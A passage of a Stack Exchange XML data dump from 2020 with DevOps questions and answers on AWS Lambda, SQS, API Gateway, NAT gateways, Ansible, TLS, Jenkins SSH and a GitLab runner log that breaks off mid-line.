entire process of sending CloudWatch Logs to Loggly, please see [my blog post](https://harishkm.in/2020/07/16/send-amazon-cloudwatch-logs-to-solarwinds-loggly-using-an-aws-lambda-function/).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/pu6oz.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/27w55.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36919" PostHistoryTypeId="2" PostId="12012" RevisionGUID="e5032d7f-4d86-4f9f-8e4a-30be230146a5" CreationDate="2020-07-16T17:03:38.210" UserId="132" Text="I don't entirely understand your use-case, but it sounds like you are trying to limit the number of Lambda invocations by restricting its IP range.&#xD;&#xA;&#xD;&#xA;There are two better ways to rate limit your application. Option one would be to use API Gateway **request throttling**:&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-request-throttling.html&#xD;&#xA;&#xD;&#xA;Option two, Lambdas have a **concurrency limit** that can be set to achieve a similar behaviour to your approach:&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/about-aws/whats-new/2017/11/set-concurrency-limits-on-individual-aws-lambda-functions&#xD;&#xA;&#xD;&#xA;Hope that helps with your design!" ContentLicense="CC BY-SA 4.0" />
  <row Id="36920" PostHistoryTypeId="2" PostId="12013" RevisionGUID="a5fd0300-99b5-4b4f-8d66-f33f62ee7c70" CreationDate="2020-07-17T01:09:21.113" UserId="349" Text="[ansible-pull][1] would work well for this, though it makes the assumption that your clients are using ansible. That's not an assumption I would be comfortable making in your shoes.&#xD;&#xA;&#xD;&#xA;&gt; At this point it would appear to me that developing our own script to further automate the process would be a better solution&#xD;&#xA;&#xD;&#xA;I agree with that. Since you already have a script to figure out what needs to be downloaded, I'd extend that script to download the needed file(s) and trigger the installation/registration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_intro.html#ansible-pull" ContentLicense="CC BY-SA 4.0" />
  <row Id="36921" PostHistoryTypeId="2" PostId="12014" RevisionGUID="3493059b-dc1c-459d-9e43-5700ac243ebf" CreationDate="2020-07-17T01:32:17.277" UserId="23198" Text="I just found out the hard way. handlers only works with include_tasks not import_tasks .&#xD;&#xA;&#xD;&#xA;The error message is rather missdirecting. I went all in adjusting indentation, syntax check and all . Finally I recreate the whole playbook but still fail. Finally switch to include_tasks then it works.&#xD;&#xA;&#xD;&#xA;Rgrds" ContentLicense="CC BY-SA 4.0" />
  <row Id="36922" PostHistoryTypeId="50" PostId="11703" RevisionGUID="27adf703-9b5a-455b-888e-19551edb2de6" CreationDate="2020-07-17T08:05:30.623" UserId="-1" />
  <row Id="36924" PostHistoryTypeId="2" PostId="12015" RevisionGUID="bf330784-1771-4f66-a106-a98f5a74096d" CreationDate="2020-07-17T13:49:29.273" UserId="15435" Text="So here is a scenario:&#xD;&#xA;&#xD;&#xA;I have a route table that routes all traffic to the internet gateway, and I have a subnet associated with that route table, which makes it a public subnet. Now I create another route table and I route all its traffic to a Nat gateway that I created I created in the public subnet abovesubnet. Now I create another subnet in this private route table, and associate that with my ECS containers. So in effect, this is how the traffic is being routed:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;But what is wrong with doing this:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Why doesn't associating it with the internet gateway directly work? The first one seems like the same thing but with extra steps. I would really like to know why exactly that is necessary, and what happens &quot;under the hood&quot; in both cases, and what causes the second way to not work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/W5kPF.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/zHcBj.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36925" PostHistoryTypeId="1" PostId="12015" RevisionGUID="bf330784-1771-4f66-a106-a98f5a74096d" CreationDate="2020-07-17T13:49:29.273" UserId="15435" Text="Why do I need a Nat Gateway for ECS containers using AWSVPC?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36926" PostHistoryTypeId="3" PostId="12015" RevisionGUID="bf330784-1771-4f66-a106-a98f5a74096d" CreationDate="2020-07-17T13:49:29.273" UserId="15435" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36927" PostHistoryTypeId="2" PostId="12016" RevisionGUID="b04422af-2aec-4b5a-b248-eeff5e555637" CreationDate="2020-07-17T13:55:23.147" UserId="23206" Text="I'm not sure if this is the best place to ask this. But we've currently got something in Microsoft Azure where we have their serverless functions (Azure Functions) running in serial based off a particular key, say a user ID.&#xD;&#xA;&#xD;&#xA;So I want these functions to be called in parallel for different users, but in serial for each individual user. I spent ages trying to do this with locking behaviour in the function logic but it was always causing issues until I discovered with Azure, I simply make my Azure Function trigger from Service Bus, and use the `userId` as the [Service Bus session id][1]. Then Azure makes sure only one 'session' is running at once.&#xD;&#xA;&#xD;&#xA;We're looking at moving stuff over to AWS and Lambda functions, but there's so many services - AWS Firehose, Simple Queue, CloudWatch Events, Step Functions, Kinesis Data Stream. In my initial searching I couldn't find any references to something similar (but everything is called different things, and I can spend hours reading about a service and find it's totally nothing to do with what I'm trying to accomplish)&#xD;&#xA;&#xD;&#xA;Does anyone know if any of them offer that kind of &quot;serial for a given property&quot; kind of behaviour out of the box?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/service-bus-messaging/message-sessions" ContentLicense="CC BY-SA 4.0" />
  <row Id="36928" PostHistoryTypeId="1" PostId="12016" RevisionGUID="b04422af-2aec-4b5a-b248-eeff5e555637" CreationDate="2020-07-17T13:55:23.147" UserId="23206" Text="Running AWS lambda in serial (for a given parameter)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36929" PostHistoryTypeId="3" PostId="12016" RevisionGUID="b04422af-2aec-4b5a-b248-eeff5e555637" CreationDate="2020-07-17T13:55:23.147" UserId="23206" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36930" PostHistoryTypeId="2" PostId="12017" RevisionGUID="a217dee1-07f6-4259-9afa-b492c7ce4d67" CreationDate="2020-07-17T13:57:54.433" UserId="3083" Text="## Context&#xD;&#xA;&#xD;&#xA;There are multiple ways to scan projects for vulnerabilities.&#xD;&#xA;&#xD;&#xA;Dependabot can be configured to check repositories for issues, and automatically submits pull requests to resolve.&#xD;&#xA;&#xD;&#xA;[NPM Audit][1] will scan the packages used in an NPM solution for known vulnerabilities.&#xD;&#xA;&#xD;&#xA;We're trying to work out whether, if Dependabot is enabled, there's any added value to using `NPM Audit` in our pipelines.  I'm asking this solely from the perspective of what's detected; not how the tools work (i.e. whether they can cause a pipeline to block/fail).&#xD;&#xA;&#xD;&#xA;## The actual question&#xD;&#xA;&#xD;&#xA;Do both tools base their decisions on some common known-issue database, or is it common to see each tool detect different sets of problems?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.npmjs.com/cli/audit" ContentLicense="CC BY-SA 4.0" />
  <row Id="36931" PostHistoryTypeId="1" PostId="12017" RevisionGUID="a217dee1-07f6-4259-9afa-b492c7ce4d67" CreationDate="2020-07-17T13:57:54.433" UserId="3083" Text="Does `npm audit` add any value when using `dependabot`" ContentLicense="CC BY-SA 4.0" />
  <row Id="36932" PostHistoryTypeId="3" PostId="12017" RevisionGUID="a217dee1-07f6-4259-9afa-b492c7ce4d67" CreationDate="2020-07-17T13:57:54.433" UserId="3083" Text="&lt;security&gt;&lt;node.js&gt;&lt;dependency-management&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36933" PostHistoryTypeId="50" PostId="11649" RevisionGUID="e0cdbd8c-b998-45cc-ab2c-8063d094c29a" CreationDate="2020-07-17T15:01:05.087" UserId="-1" />
  <row Id="36934" PostHistoryTypeId="5" PostId="12017" RevisionGUID="cac4a48f-bd8b-4ba5-9e76-66cc4c23854f" CreationDate="2020-07-17T15:42:51.887" UserId="3083" Comment="Added dependabot node js link" Text="## Context&#xD;&#xA;&#xD;&#xA;There are multiple ways to scan projects for vulnerabilities.&#xD;&#xA;&#xD;&#xA;[Dependabot][1] can be configured to check repositories for issues, and automatically submits pull requests to resolve.&#xD;&#xA;&#xD;&#xA;[NPM Audit][2] will scan the packages used in an NPM solution for known vulnerabilities.&#xD;&#xA;&#xD;&#xA;We're trying to work out whether, if Dependabot is enabled, there's any added value to using `NPM Audit` in our pipelines.  I'm asking this solely from the perspective of what's detected; not how the tools work (i.e. whether they can cause a pipeline to block/fail).&#xD;&#xA;&#xD;&#xA;## The actual question&#xD;&#xA;&#xD;&#xA;Do both tools base their decisions on some common known-issue database, or is it common to see each tool detect different sets of problems?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dependabot.com/blog/javascript-security-updates/&#xD;&#xA;  [2]: https://docs.npmjs.com/cli/audit" ContentLicense="CC BY-SA 4.0" />
  <row Id="36942" PostHistoryTypeId="2" PostId="12019" RevisionGUID="6ac41c97-87d0-4d8b-a363-d054687034ed" CreationDate="2020-07-17T16:10:54.307" UserId="23207" Text="We have an ODBC Driver trying to connect through TLS , but fails. &#xD;&#xA;We tested using openssl with the following command and worked fine:&#xD;&#xA;&#xD;&#xA;&gt; openssl s_client -connect xxx.com:31020 &#xD;&#xA;&#xD;&#xA;the server accepts TLS 1.0 to TLS 1.3 (downgraded just for debugging)&#xD;&#xA;&#xD;&#xA;While Trying to connect , here is the wireshark handshake capture flow:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;and also while expanding the client hello TLS, this is what we have :&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any idea what's causing the handshake not to start properly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ACOh6.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/J91mc.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36943" PostHistoryTypeId="1" PostId="12019" RevisionGUID="6ac41c97-87d0-4d8b-a363-d054687034ed" CreationDate="2020-07-17T16:10:54.307" UserId="23207" Text="TLS handshake failure" ContentLicense="CC BY-SA 4.0" />
  <row Id="36944" PostHistoryTypeId="3" PostId="12019" RevisionGUID="6ac41c97-87d0-4d8b-a363-d054687034ed" CreationDate="2020-07-17T16:10:54.307" UserId="23207" Text="&lt;security&gt;&lt;ssl&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36945" PostHistoryTypeId="2" PostId="12020" RevisionGUID="4d600eb7-afc9-412d-948b-00bf7894abaf" CreationDate="2020-07-17T16:40:37.160" UserId="17618" Text="When calling `aws workdocs create-user`, I'm getting `UnauthorizedResourceAccessException` or `UnauthorizedOperationException`.  I believe I have all of the permissions required.  What could be causing this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36946" PostHistoryTypeId="1" PostId="12020" RevisionGUID="4d600eb7-afc9-412d-948b-00bf7894abaf" CreationDate="2020-07-17T16:40:37.160" UserId="17618" Text="`UnauthorizedResourceAccessException` when calling `aws workdocs create-user`" ContentLicense="CC BY-SA 4.0" />
  <row Id="36947" PostHistoryTypeId="3" PostId="12020" RevisionGUID="4d600eb7-afc9-412d-948b-00bf7894abaf" CreationDate="2020-07-17T16:40:37.160" UserId="17618" Text="&lt;aws-cli&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36948" PostHistoryTypeId="2" PostId="12021" RevisionGUID="aaae7648-e7bc-4b04-9ad2-f18345e578cc" CreationDate="2020-07-17T16:40:37.160" UserId="17618" Text="While the WorkDocs API describes `create-user` as creating a user in the Directory Service (and does), it also activates the user as a WorkDocs user.  As a result, it can only be called when the directory is associated with WorkDocs (i.e. when the directory is &quot;enabled&quot; in WorkDocs).  These errors can occur when WorkDocs is not enabled.&#xD;&#xA;&#xD;&#xA;These errors can arise, for example, if you're trying to create users for WorkSpaces using the WorkDocs API since a comparable API isn't available for WorkSpaces.  To enable WorkDocs, do one of the following:&#xD;&#xA;&#xD;&#xA; - Use `EnableWorkDocs` when registering the Directory with WorkSpaces&#xD;&#xA; - Manually create a site on the WorkDocs page&#xD;&#xA;&#xD;&#xA;WARNING:  Even if you allocate no storage, it appears these users will incur WorkDocs charges unless you also `deactivatek_user`.  &#xD;&#xA;WARNING:  `EnableWorkDocs` is not fully reversible from the API i.e. you cannot delete the Directory Service from the API if a WorkDocs site exists and the site cannot be removed from the API (likely for data protection reasons) " ContentLicense="CC BY-SA 4.0" />
  <row Id="36949" PostHistoryTypeId="2" PostId="12022" RevisionGUID="a7b9d448-79cc-4f7e-8207-0b0893b7420f" CreationDate="2020-07-17T18:24:40.633" UserId="17435" Text="Use SQS with Lambda to accomplish this.&#xD;&#xA;&#xD;&#xA;SQS supports 2 types of queues: Standard &amp; FIFO. FIFO is appropriate for your use case. Create a FIFO queue &amp; attach a Lambda function trigger to it. This causes the Lambda function to be triggered when a message arrives in the SQS queue. When you send a message to a FIFO queue, set the `userId` as the [message group ID](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/using-messagegroupid-property.html). This will ensure that messages from an individual user are only processed serially but messages from different users are processed in parallel.&#xD;&#xA;&#xD;&#xA;Here's the relevant section from [AWS Lambda documentation](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs.html#events-sqs-scaling):&#xD;&#xA;&#xD;&#xA;&gt; For FIFO queues, Lambda sends messages to your function in the order that it receives them. When you send a message to a FIFO queue, you specify a message group ID. Amazon SQS ensures that messages in the same group are delivered to Lambda in order. Lambda sorts the messages into groups and sends only one batch at a time for a group. If the function returns an error, all retries are attempted on the affected messages before Lambda receives additional messages from the same group. Your function can scale in concurrency to the number of active message groups." ContentLicense="CC BY-SA 4.0" />
  <row Id="36950" PostHistoryTypeId="50" PostId="11533" RevisionGUID="ace940ae-b472-4bd0-ada2-16cf6ea22144" CreationDate="2020-07-17T21:04:40.433" UserId="-1" />
  <row Id="36951" PostHistoryTypeId="2" PostId="12023" RevisionGUID="748b1fc5-cce1-4272-b5cb-05c4a33d189e" CreationDate="2020-07-18T06:08:07.547" UserId="23218" Text="I have a requirement where I want to stop my lambda from receiving messages from SQS. And I want to implement this like an API which can toggle between the disabling and enabling of the AWS Lambda getting triggered by SQS. I tried looking for options but there were suggestions telling to invoke the permission which I don't find feasible." ContentLicense="CC BY-SA 4.0" />
  <row Id="36952" PostHistoryTypeId="1" PostId="12023" RevisionGUID="748b1fc5-cce1-4272-b5cb-05c4a33d189e" CreationDate="2020-07-18T06:08:07.547" UserId="23218" Text="How to programmatically enable and disable SQS triggering AWS Lambda?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36953" PostHistoryTypeId="3" PostId="12023" RevisionGUID="748b1fc5-cce1-4272-b5cb-05c4a33d189e" CreationDate="2020-07-18T06:08:07.547" UserId="23218" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;aws-iam&gt;&lt;serverless&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36955" PostHistoryTypeId="2" PostId="12024" RevisionGUID="8e2def1a-bfb6-4bd1-bd2f-c6dc3966a356" CreationDate="2020-07-18T10:31:43.133" UserId="17435" Text="Call Lambda's [UpdateEventSourceMapping](https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateEventSourceMapping.html) API with the `{&quot;Enabled&quot;:true/false}` request body.&#xD;&#xA;&#xD;&#xA;If, for some reason, you want your own API for this, you can create one in API Gateway as described below.&#xD;&#xA;&#xD;&#xA;Before you begin, you need the UUID of the event source mapping you wish to enable/disable. Use the AWS CLI to get this (it isn’t shown on the UI):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;aws lambda list-event-source-mappings --function-name my-func&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;EventSourceMappings&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;UUID&quot;: &quot;b962dcee-173c-47r1-9600-5c6d81catf85&quot;,&#xD;&#xA;            &quot;BatchSize&quot;: 1,&#xD;&#xA;            &quot;EventSourceArn&quot;: &quot;arn:aws:sqs:us-east-1:123456789012:my-queue&quot;,&#xD;&#xA;            &quot;FunctionArn&quot;: &quot;arn:aws:lambda:us-east-1:123456789012:function:my-func&quot;,&#xD;&#xA;            &quot;LastModified&quot;: 1595058588.141,&#xD;&#xA;            &quot;State&quot;: &quot;Enabled&quot;,&#xD;&#xA;            &quot;StateTransitionReason&quot;: &quot;USER_INITIATED&quot;&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Next, either create a new API in API Gateway or add a resource &amp; a GET method to your existing API. Configure it as shown below. The UUID you got above is highlighted below:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The execution role shown above must allow API Gateway to invoke Lambda APIs.&#xD;&#xA;&#xD;&#xA;Scroll further down &amp; provide this mapping template:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Content-Type: application/json&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Enabled&quot; : $input.params(&quot;Enabled&quot;)&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Save &amp; deploy to a stage. Now you can hit this API with the query param `Enabled=true` / `Enabled=false` to enable/disable your Lambda's SQS trigger. Here's a test done from the API Gateway console:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;For a detailed screenshot-guided walkthrough of this entire process, see [my blog post](https://harishkm.in/2020/07/18/enable-disable-aws-lambda-triggers-programmatically-by-invoking-an-api/).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ifgvO.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/CGilw.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36959" PostHistoryTypeId="50" PostId="11836" RevisionGUID="c2e44225-9c5c-4b5f-8e59-d59ad236635d" CreationDate="2020-07-18T13:00:45.067" UserId="-1" />
  <row Id="36960" PostHistoryTypeId="2" PostId="12026" RevisionGUID="eb9f2094-5cb5-4ec2-814d-cf14eb904792" CreationDate="2020-07-18T14:01:10.200" UserId="707" Text="How can happen that with a Lambda/API Gateway combination, if no explicit Cloud Front configuration has been done, in an error response header they mention CloudFront?&#xD;&#xA;&#xD;&#xA;    header: x-amzn-ErrorType: ForbiddenException&#xD;&#xA;    header: x-amz-apigw-id: P3mmbT_DREF8bg=&#xD;&#xA;    header: X-Cache: Error from cloudfront&#xD;&#xA;&#xD;&#xA;Actual problem: with a disabled API key, API keeps responding &quot;forbidden&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="36961" PostHistoryTypeId="1" PostId="12026" RevisionGUID="eb9f2094-5cb5-4ec2-814d-cf14eb904792" CreationDate="2020-07-18T14:01:10.200" UserId="707" Text="AWS API Gateway: 403 forbidden with disabled API key; error from cloudfront" ContentLicense="CC BY-SA 4.0" />
  <row Id="36962" PostHistoryTypeId="3" PostId="12026" RevisionGUID="eb9f2094-5cb5-4ec2-814d-cf14eb904792" CreationDate="2020-07-18T14:01:10.200" UserId="707" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudfront&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36963" PostHistoryTypeId="2" PostId="12027" RevisionGUID="26050d58-acfe-49c9-94a7-a2bf141a5b24" CreationDate="2020-07-18T14:31:01.113" UserId="17435" Text="&gt; When you deploy an edge-optimized API, API Gateway sets up an Amazon CloudFront distribution and a DNS record to map the API domain name to the CloudFront distribution domain name. Requests for the API are then routed to API Gateway through the mapped CloudFront distribution.&#xD;&#xA;&#xD;&#xA;Source: API Gateway documentation — [Edge-optimized custom domain names](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-custom-domains.html#edge-optimized-custom-domain-names)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36964" PostHistoryTypeId="5" PostId="12026" RevisionGUID="d3e5c781-14e2-499f-90ea-9a85b8cc293d" CreationDate="2020-07-18T14:34:54.057" UserId="707" Comment="added 159 characters in body" Text="How can happen that with a Lambda/API Gateway combination, if no explicit Cloud Front configuration has been done, in an error response header they mention CloudFront?&#xD;&#xA;&#xD;&#xA;    header: x-amzn-ErrorType: ForbiddenException&#xD;&#xA;    header: x-amz-apigw-id: P3mmbT_DREF8bg=&#xD;&#xA;    header: X-Cache: Error from cloudfront&#xD;&#xA;&#xD;&#xA;Actual problem: with a disabled API key, API keeps responding &quot;forbidden&quot;.&#xD;&#xA;&#xD;&#xA;UPDATE. As it seems the problem is not related to the Edge API/CloudFront, as the problem with disabled key persists also on changing API type to regional." ContentLicense="CC BY-SA 4.0" />
  <row Id="36965" PostHistoryTypeId="5" PostId="10455" RevisionGUID="c18f24ad-a4f7-4a92-9aa0-d2c8af1895d0" CreationDate="2020-07-18T15:19:35.297" UserId="22373" Comment="Removed filler words" Text="I was trying to create an EBS volume by writing a shell script in the user data of my launch configuration. I don't think there is anything wrong with my bash script. I kept looking up creating launch configuration and writing user data in AWS websites, but could not find anything more than what I did below. For my launch configuration, I used Amazon Linux 2 AMI which has pre-built AWS CLI. So I just wrote the following code in my user data:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    aws ec2 create-volume \&#xD;&#xA;        --volume-type gp2 \&#xD;&#xA;        --size 100 \&#xD;&#xA;        --encrypted \&#xD;&#xA;        --availability-zone us-east-1c&#xD;&#xA;    &#xD;&#xA;    aws ec2 create-volume \&#xD;&#xA;        --volume-type gp2 \&#xD;&#xA;        --size 100 \&#xD;&#xA;        --encrypted \&#xD;&#xA;        --availability-zone us-east-1d&#xD;&#xA;```&#xD;&#xA;As you can see I am trying to create EBS volumes in two availability zones, but I just could not find out why it does not create any volume for me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36966" PostHistoryTypeId="24" PostId="10455" RevisionGUID="c18f24ad-a4f7-4a92-9aa0-d2c8af1895d0" CreationDate="2020-07-18T15:19:35.297" Comment="Proposed by 22373 approved by 354 edit id of 1252" ContentLicense="CC BY-SA 4.0" />
  <row Id="36967" PostHistoryTypeId="2" PostId="12028" RevisionGUID="82adaedc-e8f9-46d5-887d-2569efb8809a" CreationDate="2020-07-19T06:27:44.983" UserId="3125" Text="While this is completely possible, it would mean that your instance would be accessible from the internet. Public subnet means that your instances are accessible directly  from the outside. Private subnet are not accessible from the outside as instances do not have a publicly  routable IP.&#xA;&#xA;In short, security" ContentLicense="CC BY-SA 4.0" />
  <row Id="36968" PostHistoryTypeId="5" PostId="12027" RevisionGUID="a9f932e8-f9b7-499d-bfdb-76bf8faf364f" CreationDate="2020-07-19T06:50:21.157" UserId="17435" Comment="added additional info requested by the OP" Text="&gt; When you deploy an edge-optimized API, API Gateway sets up an Amazon CloudFront distribution and a DNS record to map the API domain name to the CloudFront distribution domain name. Requests for the API are then routed to API Gateway through the mapped CloudFront distribution.&#xD;&#xA;&#xD;&#xA;Source: API Gateway documentation — [Edge-optimized custom domain names](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-custom-domains.html#edge-optimized-custom-domain-names).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To allow calls to a method of a resource in your API without API key, set its `API Key Required` setting to `false`:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/NNkLS.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36969" PostHistoryTypeId="5" PostId="12026" RevisionGUID="23873112-57f2-4283-8775-7686c4f66c76" CreationDate="2020-07-19T09:33:43.187" UserId="707" Comment="added 391 characters in body" Text="How can happen that with a Lambda/API Gateway combination, if no explicit Cloud Front configuration has been done, in an error response header they mention CloudFront?&#xD;&#xA;&#xD;&#xA;    header: x-amzn-ErrorType: ForbiddenException&#xD;&#xA;    header: x-amz-apigw-id: P3mmbT_DREF8bg=&#xD;&#xA;    header: X-Cache: Error from cloudfront&#xD;&#xA;&#xD;&#xA;Actual problem: with a disabled API key, API keeps responding &quot;forbidden&quot;.&#xD;&#xA;&#xD;&#xA;UPDATE. As it seems the problem is not related to the Edge API/CloudFront, as the problem with disabled key persists also on changing API type to regional.&#xD;&#xA;&#xD;&#xA;UPDATE. I can now disable API key checking as suggested by @Harish i.e. it's not about disabling the API key itself but telling the API whether it's required or not.&#xD;&#xA;&#xD;&#xA;What is yet open though is why if created by [Zappa][1], there is no option to change this setting in the UI, because there are not single methods.&#xD;&#xA;&#xD;&#xA;[![zappa-methods][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Miserlou/Zappa&#xD;&#xA;  [2]: https://i.stack.imgur.com/8tFRY.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36970" PostHistoryTypeId="50" PostId="11833" RevisionGUID="ac78f9ca-547a-477c-b440-5578f5a51e08" CreationDate="2020-07-19T10:02:50.273" UserId="-1" />
  <row Id="36971" PostHistoryTypeId="50" PostId="10263" RevisionGUID="a0c8650c-77f0-46a2-a467-1c75f04de796" CreationDate="2020-07-19T11:02:45.350" UserId="-1" />
  <row Id="36975" PostHistoryTypeId="50" PostId="9526" RevisionGUID="e03a1796-26e5-4b68-b250-020f2cb1efda" CreationDate="2020-07-19T17:07:00.563" UserId="-1" />
  <row Id="36982" PostHistoryTypeId="2" PostId="12032" RevisionGUID="036cccdf-6ab3-4278-9a65-88e688d304f7" CreationDate="2020-07-20T07:24:02.297" UserId="22987" Text="I have a absh script which connects and exexutes programs from my local to remote server and now this should be executed from jenkins build so for this jenkins is taking continous changes from git for this script but my build is failing with below error:&#xD;&#xA;&#xD;&#xA;Warning: Identity file /c/Users/D35N/Downloads/GitHubProjeckt/Automation/GitHubProjeckt/newharbortestkey not accessible: No such file or directory.&#xD;&#xA;Host key verification failed.&#xD;&#xA;Build step 'Execute shell' marked build as failure&#xD;&#xA;&#xD;&#xA;I have tried to set ssh connectivity in my jenkins server for this remote server incredentials and ssh plugins but using my key i am getting an error cant connect to the server. &#xD;&#xA;&#xD;&#xA;when i run the script from local it works fine and my ssh connection gets established properly using SSH key.&#xD;&#xA;&#xD;&#xA;jenkins server is also integrated or installed on my kuberenets cluster which is my remote server in this case and bash script should execute on this kuberenets cluster.&#xD;&#xA;&#xD;&#xA;Can anyone please suggest how this problem can be solved?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36983" PostHistoryTypeId="1" PostId="12032" RevisionGUID="036cccdf-6ab3-4278-9a65-88e688d304f7" CreationDate="2020-07-20T07:24:02.297" UserId="22987" Text="SSH connection to jenkins server" ContentLicense="CC BY-SA 4.0" />
  <row Id="36984" PostHistoryTypeId="3" PostId="12032" RevisionGUID="036cccdf-6ab3-4278-9a65-88e688d304f7" CreationDate="2020-07-20T07:24:02.297" UserId="22987" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;github&gt;&lt;shell-script&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36985" PostHistoryTypeId="2" PostId="12033" RevisionGUID="184ae59d-aab3-4225-bc56-0adbf5df4666" CreationDate="2020-07-20T08:41:10.910" UserId="23232" Text="**GitLab Job Log**&#xD;&#xA;```&#xD;&#xA;[0KRunning with gitlab-runner 13.2.0-rc2 (45f2b4ec)&#xD;&#xA;[0;m[0K  on docker-auto-scale fa6cab46&#xD;&#xA;[0;msection_start:1595233272:prepare_executor&#xD;&#xA;[0K[0K[36;1mPreparing the &quot;docker+machine&quot; executor[0;m&#xD;&#xA;[0;m[0KUsing Docker executor with image gitlab/dind:latest ...&#xD;&#xA;[0;m[0KStarting service docker:dind ...&#xD;&#xA;[0;m[0KPulling docker image docker:dind ...&#xD;&#xA;[0;m[0KUsing docker image sha256:d5d139be840a6ffa04348fc87740e8c095cade6e9cb977785fdba51e5fd7ffec for docker:dind ...&#xD;&#xA;[0;m[0KWaiting for services to be up and running...&#xD;&#xA;[0;m&#xD;&#xA;[0;33m*** WARNING:[0;m Service runner-fa6cab46-project-18378289-concurrent-0-31a688551619da9f-docker-0 probably didn't start properly.&#xD;&#xA;&#xD;&#xA;Health check error:&#xD;&#xA;service &quot;runner-fa6cab46-project-18378289-concurrent-0-31a688551619da9f-docker-0-wait-for-service&quot; timeout&#xD;&#xA;&#xD;&#xA;Health check container logs:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Service container logs:&#xD;&#xA;2020-07-20T08:21:19.734721788Z time=&quot;2020-07-20T08:21:19.734543379Z&quot; level=info msg=&quot;Starting up&quot;&#xD;&#xA;2020-07-20T08:21:19.742928068Z time=&quot;2020-07-20T08:21:19.742802844Z&quot; level=warning msg=&quot;could not change group /var/run/docker.sock to docker: group docker not found&quot;&#xD;&#xA;2020-07-20T08:21:19.743943014Z time=&quot;2020-07-20T08:21:19.743853574Z&quot; level=warning msg=&quot;[!] DON'T BIND ON ANY IP ADDRESS WITHOUT setting --tlsverify IF YOU DON'T KNOW WHAT YOU'RE DOING [!]&quot;&#xD;&#xA;2020-07-20T08:21:19.764021012Z time=&quot;2020-07-20T08:21:19.763898078Z&quot; level=info msg=&quot;libcontainerd: started new containerd process&quot; pid=23&#xD;&#xA;2020-07-20T08:21:19.764159337Z 